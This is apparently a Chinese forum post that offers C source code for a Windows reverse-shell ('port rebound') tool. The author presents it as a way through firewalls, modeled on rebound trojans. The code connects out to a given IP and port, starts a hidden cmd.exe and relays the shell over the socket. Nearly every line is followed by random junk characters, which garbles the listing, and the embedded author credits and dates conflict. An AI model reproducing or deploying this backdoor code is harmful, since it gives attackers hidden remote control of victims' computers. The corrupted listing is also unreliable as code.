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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S'AS,'EnY  
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/* ============================== @'?7au ''  
Rebound port in Windows NT .[o?qCsw  
By wind,2006/7 d1d:5 b  
===============================*/ kmsgaB7?  
#include DEpn>   
#include z8w@pT  
7!8R)m^1[  
#pragma comment(lib,"wsock32.lib") xa%2w]  
J)=Ts({  
void OutputShell(); =Xb:.  
SOCKET sClient; RsP^T:M}$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q .cL1uHc  
iA+zZVwO  
void main(int argc,char **argv) \MmKz^tO  
{ p!cNn7{;  
WSADATA stWsaData; st(Y{Gs  
int nRet; =xHzhh  
SOCKADDR_IN stSaiClient,stSaiServer; K6oQx)|  
A)o%\j  
if(argc != 3) f<2<8xS  
{ G%fNGQwT  
printf("Useage:\n\rRebound DestIP DestPort\n"); K db:Q0B  
return; ^g N?Io  
} s!K9-qZl<  
K9euNa  
WSAStartup(MAKEWORD(2,2),&stWsaData); zzyD'n7D  
uB3Yl =P  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TZS:(MJ9M  
N< 7  
stSaiClient.sin_family = AF_INET; ::G0v  
stSaiClient.sin_port = htons(0); 7 [?]DyOf  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >`.$Tyw  
2lBfc  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \ >|:URnD  
{ Ezw<  
printf("Bind Socket Failed!\n"); Zk 9i}H  
return; x?-kt.M  
} 'fY( Vm  
V%!my[b  
stSaiServer.sin_family = AF_INET; +K*_=gHF.  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {FNq&)#`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r*4@S~;  
[5jXYqD=vj  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1FmqNf:V7I  
{ ST^{?Q  
printf("Connect Error!"); o^& nkR  
return; cP(is!  
} 2o9IP>#u  
OutputShell(); u1i ?L'  
} ++M%PF [ {  
Z"g6z#L&  
void OutputShell() 6I$:mHEhd  
{ /c-%+Xd  
char szBuff[1024]; nL-kBW Ed>  
SECURITY_ATTRIBUTES stSecurityAttributes; -&_;x&k /  
OSVERSIONINFO stOsversionInfo; +^@6{1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5NAB^&{Z<X  
STARTUPINFO stStartupInfo; Cr$8\{2OA7  
char *szShell; c9N5c  
PROCESS_INFORMATION stProcessInformation;  k8ej.  
unsigned long lBytesRead; 8qQrJFm|3*  
+%RB&:K7,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q|7$@H^*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QDJ:LJz\  
stSecurityAttributes.lpSecurityDescriptor = 0; w `r)B`!g  
stSecurityAttributes.bInheritHandle = TRUE; 1:d,8  
:s'hXo  
H;rLU9b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,Taq~  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QF`o%mI  
uNRT@@oCq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /:@X<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Luu.p<   
stStartupInfo.wShowWindow = SW_HIDE; :\8&Th}Se  
stStartupInfo.hStdInput = hReadPipe; i5^U1K\M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W8{zV_TBm  
0ud>oh4WPR  
GetVersionEx(&stOsversionInfo); H@hHEzO  
\Zms  
switch(stOsversionInfo.dwPlatformId) Di8;Tq  
{ \mp5G&+/Q  
case 1: [xsiSt?6  
szShell = "command.com"; iKN800^u  
break; ck4g=QpD{  
default: tM;S )S(=  
szShell = "cmd.exe"; P_3U4J  
break; G`r*)pdm  
} [E/}-m6g  
)!(etB=`y  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (N25.}8Y  
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send(sClient,szMsg,77,0); ]w[T_4 l  
while(1) [v$NxmRu  
{ IB+)2`  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); bP,_H  
if(lBytesRead) gELb(Y\ak  
{ *X4$'LSx1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %/x%hs;d  
send(sClient,szBuff,lBytesRead,0); FI$#x%A  
} jB-)/8.qk  
else CD+2 w cy  
{ h8lI# Gs  
lBytesRead=recv(sClient,szBuff,1024,0); pe1_E KU  
if(lBytesRead<=0) break; B 8ycr~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Jrk#7  
} AE"E($S`  
} L/R ES  
@)YQiE$  
return; |r=.}9 -  
}
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